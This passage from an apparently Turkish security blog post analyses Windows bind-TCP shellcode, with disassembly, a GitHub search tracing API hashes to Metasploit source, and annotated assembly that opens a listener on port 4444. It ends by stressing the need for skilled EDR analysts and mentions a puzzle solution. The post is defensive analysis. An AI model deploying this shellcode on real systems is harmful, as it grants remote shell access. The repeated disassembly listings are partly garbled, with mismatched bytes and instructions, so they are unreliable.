0x080480d8 8b12 pop edx
0x080480da eb8d mov edx, [edx]
0x080480dc 5d jmp 0x108048069
pop ebp

```

```

0x080480b6 8b5824 mov ebx, [eax+0x24]
0x080480b9 01d3 add ebx, edx
0x080480bb 668b0c4b mov cx, [ebx+ecx*2]
0x080480bf 8b581c mov ebx, [eax+0x1c]
0x080480c2 01d3 add ebx, edx
0x080480c4 8b048b mov eax, [ebx+ecx*4]
0x080480c7 01d0 add eax, edx
0x080480c9 89442424 mov [esp+0x24], eax
0x080480cd 5b pop ebx
0x080480ce 5b pop ebx
0x080480cf 61 popad
0x080480d0 59 pop ecx
0x080480d1 5a pop edx
0x080480d2 51 push ecx
0x080480d3 ffe0 jmp eax
0x080480d5 5f pop edi
0x080480d6 5f pop edi
0x080480d7 5a pop ebx
0x080480d8 8b12 mov ebx, [edx]
0x080480da ebbd jmp 0x108048069
0x080480dc 5d pop ebp
0x080480dd 6833320000 push 0x3233 ; 0x00003233
0x080480de 68777325f push 0x5f327377 ; 0x5f327377
0x080480e7 54 push esp
0x080480e8 684c772607 push 0x726774c ; 0x0726774c
0x080480ed ffd5 call ebp
0x00000000(unk, unk, unk, unk, unk)
0x080480ef b890010000 mov eax, 0x190
0x080480f4 29c4 sub esp, eax
0x080480f6 54 push esp
0x080480f7 50 push eax
0x080480f8 6829806b00 push 0x6b8029 ; 0x006b8029
0x080480fd ffd5 call ebp
0x00000000(unk, unk, unk)
0x080480ff 6a0b push 0xb ; 0x0000000b
0x08048101 59 pop ecx
0x08048102 50 push eax
0x08048103 e2fd loop 0x108048102
0x08048105 6a01 push 0x1 ; 0x00000001
0x08048107 6a02 push 0x2 ; 0x00000002
0x08048109 68eafdf0ea push 0xe0df0ea ; 0xe0df0ea
0x0804810e ffd5 call ebp
0x00000000(unk, unk, unk, unk, unk)
0x08048110 97 xchg edi, eax
0x08048111 680200115c push 0x5c110002 ; 0x5c110002
0x08048116 896e mov esi, esp
0x08048118 6a10 push 0x10 ; 0x00000010
0x0804811a 56 push esi
0x0804811b 57 push edi
0x0804811c 68c2db3767 push 0x737dbc2 ; 0x6737dbc2
0x08048121 ffd5 call ebp
0x00000000(unk, unk, unk, unk, unk)
0x08048123 57 push edi
0x08048124 68b7e938ff push 0xff38e9b7 ; 0xff38e9b7
0x08048129 ffd5 call ebp
0x00000000(unk, unk, unk)
0x0804812b 57 push edi
0x0804812c 6874ec387f push 0xf38ec74 ; 0x7f38ec74
0x08048131 f5 cnc
0x08048132 55 push ebp
0x08048133 e5da in eax, 0xda
0x08048135 1d5b93587f sbb eax, 0xf58935b
0x0804813a f5 cnc
0x0804813b 5a pop edx
0x0804813c 801a81 sbb byte [edx], 0x81
0x0804813f 1595da00b6 adc eax, 0xb60da95
0x08048144 7217 jb 0x804815d
0x08048146 fff5 push ebp
0x08048148 62 invalid
0x08048149 cd9a int 0x9a

```

Secure | <https://github.com/rapid7/metasploit-framework/search?utf8=%E2%9C%93&q=0x67370BC2&type=code>

Hack 4 Career: Info | LinkedIn | Mert SARICA (mertsarica) | Inbox - mertsarica@ | Login | Splunk

rapid7/metasploit-framework 0x67370BC2 Pull requests Issues Marketplace Explore

5 code results in rapid7/metasploit-framework

external/source/shellcode/windows/x86/src/block/block_bind_tcp.asm
Showing the top match Last indexed on Sep 14, 2016

43 push edi ; socket
50 push 0x67370BC2 ; hash("ws2_32.dll", "bind")
51 call ebp ; bind(s, &sockaddr_in, 16);

external/source/shellcode/windows/x64/src/block/block_bind_tcp.asm
Showing the top match Last indexed on Sep 14, 2016

47 mov rdx, r12 ; set the pointer to sockaddr_in struct
48 mov rcx, rdi ; socket
49 mov r10d, 0x67370BC2 ; hash("ws2_32.dll", "bind")

external/source/shellcode/windows/x86/src/block/block_hidden_bind_ipknock.asm
Showing the top match Last indexed on Sep 14, 2016

45 push edi
46 push 0x67370BC2 ; hash("ws2_32.dll", "bind")
47 call ebp ; bind(s, &sockaddr_in, 16);

external/source/shellcode/windows/x86/src/block/block_hidden_bind_tcp.asm
Showing the top match Last indexed on Sep 14, 2016

46 push 0x67370BC2 ; hash("ws2_32.dll", "bind")
47 call ebp ; bind(s, &sockaddr_in, 16);

external/source/shellcode/windows/x86/src/hash.py
Showing the top match Last indexed on Sep 14, 2016

28 (0xE0DF0FEA, "ws2_32.dll\WSASocketA"),
29 (0x67370BC2, "ws2_32.dll\bind"),
30 (0xF38E9B7, "ws2_32.dll\listen"),

```

0x080480b6 8b5824 mov ebx, [eax+0x24]
0x080480b9 01d3 add ebx, edx
0x080480bb 668b0c4b mov cx, [ebx+ecx*2]
0x080480bf 8b581c mov ebx, [eax+0x1c]
0x080480c2 01d3 add ebx, edx
0x080480c4 8b048b mov eax, [ebx+ecx*4]
0x080480c7 01d0 add eax, edx
0x080480c9 89442424 mov [esp+0x24], eax
0x080480cd 5b pop ebx
0x080480ce 5b pop ebx
0x080480cf 61 popad
0x080480d0 59 pop ecx
0x080480d1 5a pop edx
0x080480d2 51 push ecx
0x080480d3 ffe0 jmp eax
0x080480d5 5f pop edi
0x080480d6 5f pop edi
0x080480d7 5a pop ebx
0x080480d8 8b12 mov ebx, [edx]
0x080480da ebbd jmp 0x108048069
0x080480dc 5d pop ebp
0x080480dd 6833320000 push 0x3233 ; 0x00003233
0x080480de 68777325f push 0x5f327377 ; 0x5f327377
0x080480e7 54 push esp
0x080480e8 684c772607 push 0x726774c ; 0x0726774c
0x080480ed ffd5 call ebp
0x00000000(unk, unk, unk, unk, unk)
0x080480ef b890010000 mov eax, 0x190
0x080480f4 29c4 sub esp, eax
0x080480f6 54 push esp
0x080480f7 50 push eax
0x080480f8 6829806b00 push 0x6b8029 ; 0x006b8029
0x080480fd ffd5 call ebp
0x00000000(unk, unk, unk, unk, unk)
0x080480ff 6a0b push 0xb ; 0x0000000b
0x08048101 59 pop ecx
0x08048102 50 push eax
0x08048103 e2fd loop 0x108048102
0x08048105 6a01 push 0x1 ; 0x00000001
0x08048107 6a02 push 0x2 ; 0x00000002
0x08048109 68eafdf0ea push 0xe0df0ea ; 0xe0df0ea
0x0804810e ffd5 call ebp
0x00000000(unk, unk, unk, unk, unk)
0x08048110 97 xchg edi, eax
0x08048111 680200115c push 0x5c110002 ; 0x5c110002
0x08048116 896e mov esi, esp
0x08048118 6a10 push 0x10 ; 0x00000010
0x0804811a 56 push esi
0x0804811b 57 push edi
0x0804811c 68c2db3767 push 0x737dbc2 ; 0x6737dbc2
0x08048121 ffd5 call ebp
0x00000000(unk, unk, unk, unk, unk)
0x08048123 57 push edi
0x08048124 68b7e938ff push 0xff38e9b7 ; 0xff38e9b7
0x08048129 ffd5 call ebp
0x00000000(unk, unk, unk, unk, unk)
0x0804812b 57 push edi
0x0804812c 6874ec387f push 0xf38ec74 ; 0x7f38ec74
0x08048131 f5 cnc
0x08048132 55 push ebp
0x08048133 e5da in eax, 0xda
0x08048135 1d5b93587f sbb eax, 0xf58935b
0x0804813a f5 cnc
0x0804813b 5a pop edx
0x0804813c 801a81 sbb byte [edx], 0x81
0x0804813f 1595da00b6 adc eax, 0xb60da95
0x08048144 7217 jb 0x804815d
0x08048146 fff5 push ebp
0x08048148 62 invalid
0x08048149 cd9a int 0x9a

```

```

12 bind_tcp:
13   push 0x00003233 ; Push the bytes "ws2_32", 0, 0 onto the stack.
14   push 0x5f327377 ; ...
15   push esp ; Push a pointer to the "ws2_32" string on the stack.
16   push 0x0726774c ; hash( "kernel32.dll", "LoadLibraryA" )
17   call ebp ; LoadLibraryA( "ws2_32" )
18
19   mov eax, 0x0190 ; EAX = sizeof( struct WSADATA )
20   sub esp, eax ; alloc some space for the WSADATA structure
21   push esp ; push a pointer to this struct
22   push eax ; push the wVersionRequested parameter
23   push 0x00688029 ; hash( "ws2_32.dll", "WSAStartup" )
24   call ebp ; WSAStartup( &w190, &wsaData );
25
26   push byte 8
27   pop ecx
28   push 0x00000000 ; if we succeed, eax will be zero, push it 8 times for later ([1]-[8])
29   loop push_8_loop
30
31
32   ; push zero for the flags param [8]
33   push null for reserved parameter [7]
34   ; we do not specify a WSAPROTOCOL_INFO structure [6]
35   ; we do not specify a protocol [5]
36   inc ecx
37   push eax ; push SOCK_STREAM
38   inc ecx
39
40   push eax ; push AF_INET
41   hash( "ws2_32.dll", "WSASocketA" )
42   call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0 );
43   xchg edi, eax ; save the socket for later, don't care about the value of eax after this
44
45   ; bind to 0.0.0.0, pushed earlier [4]
46   family AF_INET and port 4444
47   save a pointer to sockaddr_in struct
48   push byte 16 ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused)
49   push esi ; pointer to the sockaddr_in struct
50   push edi ; socket
51   call ebp ; hash( "ws2_32.dll", "bind" )
52   bind( s, &sockaddr_in, 16 );
53
54   ; backlog, pushed earlier [3]
55   push edi ; socket

```

Sonuca gelecek olursak, bu örnekten yola çıkarak günümüzde gerçekleştirilen ileri seviye siber saldırılarla mücadelede EDR gibi teknolojilerden kurumların tam anlamıyla faydalanabilmeleri için alarmları analiz edebilecek yetkin insan kaynağına da bir o kadar ihtiyaçları bulunmaktadır.

Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.

Not:

1. Bu yazı ayrıca Pi Hediyem Var #14 oyununun çözüm yolunu da içermektedir.